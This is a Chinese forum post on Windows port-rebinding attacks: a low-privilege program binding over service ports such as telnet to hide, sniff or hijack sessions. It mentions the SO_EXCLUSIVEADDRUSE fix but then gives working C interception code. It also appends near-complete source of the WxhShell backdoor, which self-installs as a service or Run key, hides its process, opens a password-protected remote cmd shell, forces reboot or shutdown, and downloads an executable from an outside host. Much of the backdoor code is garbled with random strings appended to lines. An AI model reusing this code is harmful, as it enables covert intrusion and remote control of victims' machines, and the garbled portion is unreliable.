[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 5Z1Do^
if(chr[0]==0xd || chr[0]==0xa) { T_9ZI|Jx
pwd=0; $$;2jX"I
break; gwB>oi*OE
} a:%5.!Vd
i++; hv8[_p`>
} WQmiG=Dw^
<GmrKdM
// 如果是非法用户，关闭 socket {F9Qy0.*u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [tf^i:2
} GTIfrqT
iF_r'+j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P;o>~Y>x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +FKP5L}
BNoCE!
while(1) { .q[sk
pz6- hi7
ZeroMemory(cmd,KEY_BUFF); =|&"/$+s
A_*Lo6uII
// 自动支持客户端 telnet标准 9n\#s~,
j=0; -/7=\kao%
while(j<KEY_BUFF) { h+u|MdOY\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ez:o9)N4
cmd[j]=chr[0]; y^|3]G3
if(chr[0]==0xa || chr[0]==0xd) { j%y+W{Q[
cmd[j]=0; l )V43
break; KXbYv62
} adr^6n6v
j++; w58 QX/XG
} U)=Z&($T
0BP~0z
// 下载文件 | xI_aYv*
if(strstr(cmd,"http://")) { }fMFQA)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j.v _
if(DownloadFile(cmd,wsh)) ;Kb[UZ1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LuQ M$/i
else 2u H\8A+'f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [_G0kiI}W"
} VP[!ji9P
else { 5$Q`P',*Ua
%c2i.E/G
switch(cmd[0]) { ? /X6x1PN
MC)W?
// 帮助 J0mCWtx&
case '?': { dQ~"b=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Tw6Fg1o>
break; QNa3S*
} g UAPjR
// 安装 qa`(,iN
case 'i': { A-!qO|E[-
if(Install()) R$m?&1K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,%o<Ql9
else 'n.9qxY;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $=SYssg7La
break; ^M5uLm-_s
} "8TMAF|i4
// 卸载 a2_IF,p*?
case 'r': { \~j(ui|
if(Uninstall()) ]_xGVwem
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]0M>vx u
else `ViNSr):J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'C^C[_W
break; SLA~F?t
} N!&VBx^z
// 显示 wxhshell 所在路径 zvC,([
case 'p': { "A`'~]/hE
char svExeFile[MAX_PATH]; :%]R x&08
strcpy(svExeFile,"\n\r"); uQ+$HzxX
strcat(svExeFile,ExeFile); <rmV$_
send(wsh,svExeFile,strlen(svExeFile),0); @<JQn^M
break; 4DM|OL`w
} vrx3O
// 重启 CnA)>4E*'
case 'b': { emIbGkH
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o*1`,n
if(Boot(REBOOT)) I _G;;GF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~mo`
else { _JO @O^Ndd
closesocket(wsh); X1D:{S[
ExitThread(0); X_8NW,
} 6x8|v7cMH
break; wIHz TL
} %d\+(:uu/
// 关机 A8Y~^wn
case 'd': { T`[ZNq+${
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )`7h,w J[1
if(Boot(SHUTDOWN)) Ap9wH[H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrt-<7U
else { u#|Jl|aT
closesocket(wsh); _Hj,;Z
ExitThread(0); Oip..f0
} %=eD)p7l-
break; _I5+o\;1
} xF+x I6
// 获取shell aV,J_Q6r
case 's': { .;6bMP[YA
CmdShell(wsh); .1lc'gu5y
closesocket(wsh); l6Bd<tSH
ExitThread(0); +c_CYkHJ/
break; !Ve3:OZ.nO
} nEr, jd~f
// 退出 Sd11ZC6
case 'x': { e 3oIoj4o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VH65=9z
CloseIt(wsh); KphEw[4/
break; }epN<DL
} H@2+wr)$}
// 离开 1D]wW%us
case 'q': { DO{4n1-U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;r}<o?'RM
closesocket(wsh); xc3Q7u!|
WSACleanup(); X[6z
exit(1); biK.HL\V
break; &|*|
} >X)G`N@!
} H>9$L~
} =Ybu_>
aQ\O ]gCE
// 提示信息 \C|06Bs$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e0 EJ[bG
} 8=uljn/
} Zv7)+Q
=v9;HPiO
return; SBt: `,
} YgDasKFm'
z"`?<A&u
// shell模块句柄 yRDLg c
int CmdShell(SOCKET sock) VvKH]>*
{ `#U6`[[
STARTUPINFO si; +__Rk1CVh
ZeroMemory(&si,sizeof(si)); S0yT%V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uM#/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zZQoY_UI
PROCESS_INFORMATION ProcessInfo; XwMC/]lK<
char cmdline[]="cmd"; d?.x./1[qi
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R\?!r4
return 0; _Qas+8NW
} Jsl,r+'H
R)z|("%ec
// 自身启动模式 s#3{c@^3
int StartFromService(void) =c'LG
{ A:Z:&(NtE:
typedef struct K.~U%v}
{ 5N/;'ySAE_
DWORD ExitStatus; ,5:86'p
DWORD PebBaseAddress; +0DIN4Y(4
DWORD AffinityMask; ~JiA
DWORD BasePriority; Fy^\Uw
ULONG UniqueProcessId; HL]?CWtGP
ULONG InheritedFromUniqueProcessId; xm5D$m3#
} PROCESS_BASIC_INFORMATION; \=~Ap#Mpc4
)9O{4PbU!
PROCNTQSIP NtQueryInformationProcess; %e(,PL
107SXYdhI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EzaOg|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uPPe"$
gu!A:Q
HANDLE hProcess; ^y,ip=<5\3
PROCESS_BASIC_INFORMATION pbi; 3ssio-X
p"Y=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H Vy^^$
if(NULL == hInst ) return 0; 0a5P@;"a
MRc^lYj{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 19_F\32
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5YasD6l
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zD'gGxM1
Jo ^o`9
if (!NtQueryInformationProcess) return 0; [nrP; _
L~~aW0,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zoU.\]#C
if(!hProcess) return 0; Bv3v;^
"7DPsPs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [B[J%?NS
PZs
CloseHandle(hProcess); Z:Wix|,ONS
yLP0w^Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M<729M
if(hProcess==NULL) return 0; IP3-lru
yY+2;`CH
HMODULE hMod; 6-~
char procName[255]; "?!IPX2\S
unsigned long cbNeeded; b8Qm4b?:4
Dcf`+?3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cD\Qt9EI
V-31x)
CloseHandle(hProcess); <|4j<U
{BF\G%v;+
if(strstr(procName,"services")) return 1; // 以服务启动 8"@<s?0\"
&zR}jD>
return 0; // 注册表启动 ,Xw/ t>
} m`|Z1CT
Am0$UeSZ
// 主模块 U7W ct %
int StartWxhshell(LPSTR lpCmdLine) 6!$S1z#wM
{ bu.36\78
SOCKET wsl; C"}x=cK
BOOL val=TRUE; xl3U
int port=0; |Yx8Ez
struct sockaddr_in door; :1iw_GhJf
O]>Or3oO
if(wscfg.ws_autoins) Install(); km^AX:r1
z(ajR*\#
port=atoi(lpCmdLine); B@4#y9`5
E_OLf%um
if(port<=0) port=wscfg.ws_port; x[X.// :
D7@10;F}[
WSADATA data; ^V:YNUqp#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &Fi8@0Fh
Um~jp:6p
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }MX`WW0\]Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~?p > L
door.sin_family = AF_INET; ms$o,[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); PQK_*hJG"
door.sin_port = htons(port); dx~Wm1
Kk,->q<1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kBTuM"
closesocket(wsl); b7n~z1$
return 1; `XnFc*L 1
} }8svd#S+
17GyE=Uu
if(listen(wsl,2) == INVALID_SOCKET) { H\^^p!^)
closesocket(wsl); H|^4e
return 1; +SJ aE] $
} %[0"[<1a
Wxhshell(wsl); #yqcUbJY0R
WSACleanup(); bY<"$);s
jC oZm(bi
return 0; M;E&@[5
I9MI}0}7
} %nIjRmqM~
oeIS&O.K
// 以NT服务方式启动 M]W4S4&Y=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YcI]_[
{ 5Ql6?UHD
DWORD status = 0; ]Cj&C/(
DWORD specificError = 0xfffffff; 4@5<B
X>CYKRtb
serviceStatus.dwServiceType = SERVICE_WIN32; DFiexOb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5u&jNU5m_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IJ0RHDod:
serviceStatus.dwWin32ExitCode = 0; _+{s^n=
serviceStatus.dwServiceSpecificExitCode = 0; ql8:s>1T
serviceStatus.dwCheckPoint = 0; s(dox; d
serviceStatus.dwWaitHint = 0; k91Y"_&
41.+3VP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RsbrD8*AD
if (hServiceStatusHandle==0) return; vw3W:TL
2|cIu 'U
status = GetLastError(); >[p+L='
if (status!=NO_ERROR) *-n$n
{ <Z5prunov
serviceStatus.dwCurrentState = SERVICE_STOPPED; acH.L_B:
serviceStatus.dwCheckPoint = 0; w8E,zH
serviceStatus.dwWaitHint = 0; 9> |rIw
serviceStatus.dwWin32ExitCode = status; HG^8&uh]
serviceStatus.dwServiceSpecificExitCode = specificError; hk=+t&Y<H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&'".N,}
return; [:o#d`^
} ~5|a9HV:
^mGTZxO
serviceStatus.dwCurrentState = SERVICE_RUNNING; _V;J7Vz
serviceStatus.dwCheckPoint = 0; wjl?@K
serviceStatus.dwWaitHint = 0; Kb}N!<Z*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QW!'A`*x
} y0Tb/&xN
LC}]6
// 处理NT服务事件，比如：启动、停止 (]pQ.3
VOID WINAPI NTServiceHandler(DWORD fdwControl) O-7 \qz
{ hOq1"kL
switch(fdwControl) ' Sl9xd
{ E>ev/6ox
case SERVICE_CONTROL_STOP: g5cR.]oz
serviceStatus.dwWin32ExitCode = 0; |h'ugx1iY
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6`yq4!&v
serviceStatus.dwCheckPoint = 0; !=-l760
serviceStatus.dwWaitHint = 0; bNC1[GG[
{ 9Hu%Z/[!p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+L5k!1D
} K)k!`du!6
return; YziQU_
case SERVICE_CONTROL_PAUSE: cx$Oh`-Car
serviceStatus.dwCurrentState = SERVICE_PAUSED; DQ~@=%?ni
break; tpVtbh1)u
case SERVICE_CONTROL_CONTINUE: ]6nF>C-C
serviceStatus.dwCurrentState = SERVICE_RUNNING; VTF),e!
break; )j$Bo{
case SERVICE_CONTROL_INTERROGATE: -H]svOX
break; $Fn# b|e
}; 8xNKVj)@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mr;WxxO5
} A[b'MNsv
x&f?c=\F
// 标准应用程序主函数 >1r>cZn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7#RW4ZM
{ Ghj6&K%b0
,^'Y7"
// 获取操作系统版本 KLxg
OsIsNt=GetOsVer(); wCdUYgsPT"
GetModuleFileName(NULL,ExeFile,MAX_PATH); ubgq8@;
OZ-F+#d
// 从命令行安装 hP|5q&wX
if(strpbrk(lpCmdLine,"iI")) Install(); ?GFVV->i
xv)7-jlx
// 下载执行文件 !is8`8F8
if(wscfg.ws_downexe) { ZpwB"%e$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G1D(-X4ALZ
